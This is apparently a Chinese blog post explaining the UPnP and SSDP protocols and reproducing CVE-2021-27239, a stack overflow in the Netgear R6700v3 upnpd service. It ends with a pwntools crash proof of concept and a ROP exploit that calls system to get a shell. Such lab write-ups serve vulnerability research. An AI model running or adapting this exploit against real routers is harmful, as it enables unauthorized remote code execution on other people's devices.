IOT漏洞挖掘——Upnp协议&SSDP协议

协议介绍

UPnP背景知识

UPnP, Universal Plug and Play,中文是 “通用即插即用”。在理解 UPnP 之前,我们先了解一下传统的 PnP 技术,因为 UPnP 是对于传统 PnP(即插即用)概念的扩展。

传统的 PnP “即插即用”是指 PC 电脑在添加硬件设备时可以自动处理的一种标准。在 PnP 技术出现以前,当需要为 PC 电脑安装新的硬件(比如:声卡,CD-ROM,打印机)时,这些设备需要用到 PC 电脑的 DMA 和 IRQ 等资源,为了避免硬件设备对计算机这些资源使用上的冲突,我们就需要手工为新添加的硬件设备设置中断和 I/O 端口(比如,想要为添加的声卡占用中断 5,就找一个小跳线在卡上标着中断 5的针脚上一插)。这样的操作需要用户了解中断和 I/O 端口的知识,并且能够自己分配中断地址而不发生冲突,对普通用户提出这样的要求是不切实际的。

PnP “即插即用”技术出现以后,可以自动为新添加的硬件分配中断和 I/O 端口,用户无须再做手工跳线,也不必使用软件配置程序。唯一的要求就是操作系统需要支持 PnP 标准,同时所安装的新硬件也符合 PnP 规范的。

UPnP 协议介绍

现在我们讲 UPnP,在网络世界里,当一个主机加入网络时,其行为模式跟我们上述的添加和删除设备是类似的。尤其是在私有网络和公网交互的时候,私有网络中的主机使用的是内网 IP 地址,是无法被外网的主机直接访问的。必须借助 NAT 网关设备(本地路由器)把内网地址映射到网关的公网地址上。

简单来说就是, NAT 网关设备拥有一个公网 IP 地址(比如 10.59.116.19),内网中的主机(比如 192.168.1.101)想要与外界通信的话,NAT 网关设备可以为其做一个端口映射(比如:180.59.116.19 :80 —> 192.168.1.101 :80),这样,外部的主机发往 NAT 网关的数据包都会被转发给内网的该主机,从而实现了内网中的主机与外部主机的通信。

当内网中的主机想要被外界主机直接访问(比如开放 80 端口,对外提供 HTTP 服务),我们就需要在 NAT 设备中为当前主机手工配置端口映射,如果内网中有多台主机都想要被外界主机直接访问的话,我们必须在同一个 NAT 设备上为这些主机分别做端口映射,它们之间不能使用有冲突的端口。这个过程需要用户手工一一配置,显然给用户带来了很大的麻烦。

UPnP 技术标准的出现就是为了解决这个问题,只要 NAT 设备(路由器)支持 UPnP,并开启。那么,当我们的主机(或主机上的应用程序)向 NAT 设备发出端口映射请求的时候,NAT 设备就可以自动为主机分配端口并进行端口映射。这样,我们的主机就能够像公网主机一样被网络中任何主机访问了。

UPnP 的应用场景

UPnP 典型的应用场景就是家庭智能设备的互联,还有,目前在网络应用比如 BitTorrenteMuleIPFSEthereum 等使用 P2P 技术的软件,UPnP 功能为它们带来极大的便利。比如:利用 UPnP 能自动的把它们侦听的端口号映射到公网地址上,这样,公网上的用户也能对当前的 NAT 内网主机直接发起连接。

实现 UPnP 必须同时满足三个条件:

  • NAT 网关设备必须支持 UPnP 功能;这是因为它需要扮演控制点(239.255.255.250:1900)的角色,控制点提供的是 SSDP 服务。
  • 操作系统必须支持 UPnP 功能;比如 Windows 系列操作系统;
  • 应用程序必须支持 UPnP 功能;比如 Bt、eMule、IPFS, Ethereum 等。

以上三个条件必须同时满足,缺一不可。

注:大多数路由器都是支持 UPnP 的,有的是默认开启,有的需要手工开启。

SSDP 协议

介绍完了 UPnP 的概况,为了完整性,现在再介绍一下 UPnP 规范下的 SSDP 协议。

SSDP 全称是 Simple Service Discover Protocol 简单服务发现协议,这个协议是 UPnP 的核心,在 UPnP 中定义了一组协议框架,其中有控制点,根设备等概念,UPnP 设备通过 SSDP 协议与根设备(用户设备)进行交互。SSDP 是应用层协议,使用 HTTPU 和 HTTPMU 规范,基于 UDP 端口进行通信。

SSDP 使用一个固定的组播地址 239.255.255.250 和 UDP 端口号 1900 来监听其他设备的请求。

SSDP 协议的请求消息有两种类型,第一种是服务通知,设备和服务使用此类通知消息声明自己存在;第二种是查询请求,协议客户端用此请求查询某种类型的设备和服务。

1)设备查询

当一个客户端接入网络的时候,它可以向一个特定的多播地址的 SSDP 端口使用 M-SEARCH 方法发送 “ssdp:discover” 消息。当设备监听到这个保留的多播地址上由控制点发送的消息的时候,设备将通过单播的方式直接响应控制点的请求。

典型的设备查询请求消息格式:

M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1   # 查询的设备类型或服务类型
MX: 3

其中,M-SEARCH表示多播搜索请求,*表示搜索全局范围内所有设备。HOST指定了目的地地址和端口,SSDP协议默认使用239.255.255.250:1900进行多播搜索。MAN表示搜索类型,ssdp:discover表示简单服务发现机制。ST表示搜索目标,即设备或服务类型,这里指定了一个特殊的设备类型InternetGatewayDevice。MX表示最大响应等待时间。

响应消息

响应消息应该包含服务的位置信息(Location 或AL头),ST和USN头。响应消息应该包含cache控制信息(max-age 或者 Expires头)。

典型的响应消息格式:

HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Fri, 16 Apr 2021 07:54:52 GMT
EXT:
LOCATION: http://192.168.1.1:80/rootDesc.xml
SERVER: Linux/2.4.17 UPnP/1.0 miniupnpd/1.7
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1
USN: uuid:UPnP-InternetGatewayDevice-1_0-000666777888::urn:schemas-upnp-org:device:InternetGatewayDevice:1/

响应报文中,第一行HTTP状态码200表示请求成功。CACHE-CONTROL指定设备或服务的缓存时间,单位为秒。LOCATION指定了设备或服务的描述文档地址,即rootDesc.xml文件。ST和USN分别表示设备或服务的类型和唯一识别号。EXT指定了设备或服务支持的扩展协议,这里为空。SERVER指定了设备或服务的操作系统和应用程序名称和版本信息。

2、设备通知消息

在设备加入网络时,它应当向一个特定的多播地址的 SSDP 端口使用 NOTIFY 方法发送 “ssdp:alive” 消息,以便宣布自己的存在,更新期限信息,更新位置信息。

(1)ssdp:alive 消息

由于 UDP 协议是不可信的,设备应该定期发送它的公告消息。在设备加入网络时,它必须用 NOTIFY 方法发送一个多播传送请求。NOTIFY 方法发送的请求没有回应消息。

典型的设备通知消息格式如下:

NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age = seconds until advertisement expires
LOCATION: URL for UPnP description for root device
NT: search target
NTS: ssdp:alive
USN: advertisement UUID

(2)ssdp:byebye消息

当一个设备计划从网络上卸载的时候,它也应当向一个特定的多播地址的 SSDP 端口使用 NOTIFY 方法发送 “ssdp:byebye” 消息。但是,即使没有发送 “ssdp:byebye” 消息,控制点也会根据 “ssdp:alive” 消息指定的超时值,将超时并且没有再次收到的 “ssdp:alive” 消息对应的设备认为是失效的设备。

典型的设备卸载消息格式如下:

NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
## NT: search target
NTS: ssdp:byebye
USN: advertisement UUID

CVE-2021-27239漏洞复现

该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。

这里用的路由器固件是R6700v3-V1.0.4.102_10.0.75,下载地址

漏洞分析

binwalk -Me解包一下

漏洞位于 /usr/sbin/upnpd,是ssdp(UDP 1900)协议的解析过程中,对MX字段的 strncpy 引发的栈溢出。

checksec看一下保护都没开

通过字符串搜索MX很快就能定位到漏洞点

stristr函数,它的作用是:在第一个字符串中查找第二个字符串首次出现的位置,并返回从该位置开始到第一个字符串末尾的所有内容。

关键特性:不区分大小写(即 “A” 和 “a” 被视为相同)。

这里简单一分析,v3指向“MX”这个字符串的开头,所以v3+3指向的是”MX:”后面紧跟的内容,而v4指向的是“MX:xxx\r\n”中“\r\n”的位置,那么v4-(v3+3)就是MX后面真实数据的长度了,接着再用atoi转换一下得到MX的数值

很显然,只要MX足够长,v6这个栈上变量就会溢出

漏洞验证

尝试直接用FirmAE启动,发现成功了,这时直接连接到shell上

可以看到upnpd的运行进程,但是由于此时终端无法回显,我们手动kill一下再启动

此时可以看到已经正常启动了,在别的师傅文章里看到了有关NVRAM欺骗的问题,这里我没有遇到,不过还是把链接拿来,有需要的可以看一下Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现

netstat可以看到1900已经被监听了

payload如下:

from pwn import *

p = remote("192.168.1.1", 1900, typ='udp')
context.log_level = 'debug'

payload = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man:"ssdp:discover" \r\n'
payload += b'MX:' + b'a'*160 + b' \r\n'

p.send(payload)

执行完paylaod之后

进程已经消失了,我们来连接gdb调试一下

b到对应断点

最终触发了栈溢出,报了段错误

用下面这段exp可以getshell

from pwn import *

p = remote("192.168.6.2", 1900, typ='udp')
context.log_level = 'debug'

command = b'ls'

payload = b'M-SEARCH * HTTP/1.1\r\n'
payload += b'Man:"ssdp:discover"\r\n'
payload += b'MX:'
payload += b'a' * 0x8c
payload += b'\x08\x39\x01\r\n\x00' # add sp, 0x800
payload += b'a' * 0xa5
payload += p32(0x000CD000) # .data
payload += b'a' * 8
payload += p32(0x0000BB44) # strcpy
payload += command.ljust(0x400, b'\x00')
payload += p32(0x000CD000) # .data
payload += b'a' * 8
payload += p32(0x00017DD8) #system

p.send(payload)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇